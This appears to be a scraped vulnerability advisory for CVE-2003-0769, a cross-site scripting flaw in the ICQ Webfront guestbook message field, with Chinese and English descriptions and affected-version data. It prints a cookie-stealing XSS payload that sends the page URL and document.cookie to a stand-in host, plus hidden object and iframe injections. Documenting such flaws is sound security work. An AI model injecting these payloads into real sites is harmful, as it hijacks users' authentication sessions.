https://www.exploit-db.com/exploits/23120
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200309-034

ICQWebFrontguestbook(guestbook.html)存在跨站脚本（XSS）漏洞。远程攻击者借助消息字段插入任意web脚本和HTML。

source: http://www.securityfocus.com/bid/8563/info

It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.

<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>

VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:mirabilis:icq:2003a_build3777*cpe:/a:mirabilis:icq:2003a_build3799*cpe:/a:mirabilis:icq:2003a_build3800*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0769